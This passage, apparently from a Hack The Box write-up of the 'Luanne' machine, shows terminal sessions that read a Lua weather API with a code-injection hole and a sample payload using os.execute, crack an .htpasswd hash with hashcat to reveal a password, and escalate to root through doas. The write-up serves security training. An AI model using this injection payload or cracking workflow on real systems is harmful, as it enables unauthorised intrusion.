drwxr-xr-x 2 r.michaels wheel 48 Sep 16 2020 webapi
drwxr-xr-x 2 r.michaels wheel 96 Sep 16 2020 www
luanne$ cd www
luanne$ ls -la
total 32
drwxr-xr-x 2 r.michaels wheel 96 Sep 16 2020 .
drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 ..
-rw-r--r-- 1 r.michaels wheel 47 Sep 16 2020 .htpasswd
-rw-r--r-- 1 r.michaels wheel 378 Sep 16 2020 index.html
luanne$ cat .htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
I noticed that this hash was different from the one I had cracked earlier.
luanne$ cat index.html
<!doctype html>
<html>
<head>
<title>Index</title>
</head>
<body>
<p><h3>Weather Forecast API</h3></p>
<p><h4>List available cities:</h4></p>
<a href="/webapi/weather?city=list">/webapi/weather?city=list</a>
<p><h4>Five day forecast (London)</h4></p>
<a href="/webapi/weather?city=London">/webapi/weather?city=London</a>
<hr>
</body>
</html>
This index.html
was the same as the /forecast
site I had seen earlier, however.
luanne$ cd ../webapi/
luanne$ ls -la
total 32
drwxr-xr-x 2 r.michaels wheel 48 Sep 16 2020 .
drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 ..
-rw-r--r-- 1 r.michaels wheel 7072 Sep 16 2020 weather.lua
The webapi
folder only contained the file weather.lua
luanne$ cat weather.lua
httpd = require 'httpd'
math = require 'math'
sqlite = require 'sqlite'
cities = {"London", "Manchester", "Birmingham", "Leeds", "Glasgow", "Southampton", "Liverpool", "Newcastle", "Nottingham", "Sheffield", "Bristol", "Belfast", "Leicester"}
weather_desc = {"sunny", "cloudy", "partially cloudy", "rainy", "snowy"}
function valid_city(cities, city)
for i, v in ipairs(cities) do
if v == city
then
return true
end
end
return false
end
function forecast(env, headers, query)
if query and query["city"]
then
local city = query["city"]
if city == "list"
then
httpd.write("HTTP/1.1 200 Ok\r\n")
httpd.write("Content-Type: application/json\r\n\r\n")
httpd.write('{"code": 200,')
httpd.write('"cities": [')
for k,v in pairs(cities) do
httpd.write('"' .. v .. '"')
if k < #cities
then
httpd.write(',')
end
end
httpd.write(']}')
elseif not valid_city(cities, city)
then
-- city=London') os.execute('id') --
httpd.write("HTTP/1.1 500 Error\r\n")
httpd.write("Content-Type: application/json\r\n\r\n")
local json = string.format([[
httpd.write('{"code": 500,')
httpd.write('"error": "unknown city: %s"}')
]], city)
load(json)()
else
-- just some fake weather data
...snipped...
end
else
httpd.write("HTTP/1.1 200 Ok\r\n")
httpd.write("Content-Type: application/json\r\n\r\n")
httpd.print('{"code": 200, "message": "No city specified. Use \'city=list\' to list available cities."}')
end
end
httpd.register_handler('forecast', forecast)
Nothing useful here? There did seem to be a backdoor potentially written in, though it was commented out -- city=London') os.execute('id') --
. I think this is where I injected my original access
┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ echo 'webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' >> hash 130 ⨯
┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ hashcat -O -D1,2 -a0 -m500 hash /usr/share/wordlists/rockyou.txt --username
hashcat (v6.1.1) starting...
Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Optimized-Kernel
* Zero-Byte
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
INFO: Removed 1 hash found in potfile.
Host memory required for this attack: 65 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.:littlebear
Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: hash
Time.Started.....: Sat Mar 27 23:58:52 2021 (1 sec)
Time.Estimated...: Sat Mar 27 23:58:53 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 41505 H/s (11.99ms) @ Accel:512 Loops:250 Thr:1 Vec:8
Recovered........: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts
Progress.........: 26636/28688770 (0.09%)
Rejected.........: 12/26636 (0.05%)
Restore.Point....: 12293/14344385 (0.09%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000
Candidates.#1....: gamboa -> billybob1
Started: Sat Mar 27 23:58:51 2021
Stopped: Sat Mar 27 23:58:54 2021
The hash cracked almost immediately, finding a password of littlebear
luanne$ doas whoami
Password:
root
I was able to run commands with doas
with this password!
luanne$ doas su
Password:
# cd /root
# ls -la
total 36
drwxr-xr-x 2 root wheel 512 Nov 24 09:30 .
drwxr-xr-x 21 root wheel 512 Sep 16 2020 ..
-r--r--r-- 2 root wheel 1220 Feb 14 2020 .cshrc
-rw------- 1 root wheel 59 Feb 14 2020 .klogin
-rw-r--r-- 1 root wheel 212 Feb 14 2020 .login
-r--r--r-- 2 root wheel 701 Feb 14 2020 .profile
-rw-r--r-- 1 root wheel 221 Feb 14 2020 .shrc
-r-x------ 1 root wheel 178 Nov 24 09:57 cleanup.sh
-r-------- 1 root wheel 33 Sep 16 2020 root.txt
# cat root
cat: root: No such file or directory
# cat root.txt
7a9b5c206e8e8ba09bb99bd113675f66
# cat cleanup.sh
#!/bin/sh
/usr/bin/find / -name devel_backup-2020-09-16.tar.gz -exec rm -f {} \;
/usr/bin/find / -name devel-2020-09-16 -exec rm -rf {} \;
/usr/bin/find /tmp -exec rm -rf {} \;
Note: /etc/master.passwd
is where password hashes are stored in BSD, not /etc/shadow
Thanks to polarbearer
for something interesting or useful about this machine.
If you like this content and would like to see more, please consider buying me a coffee!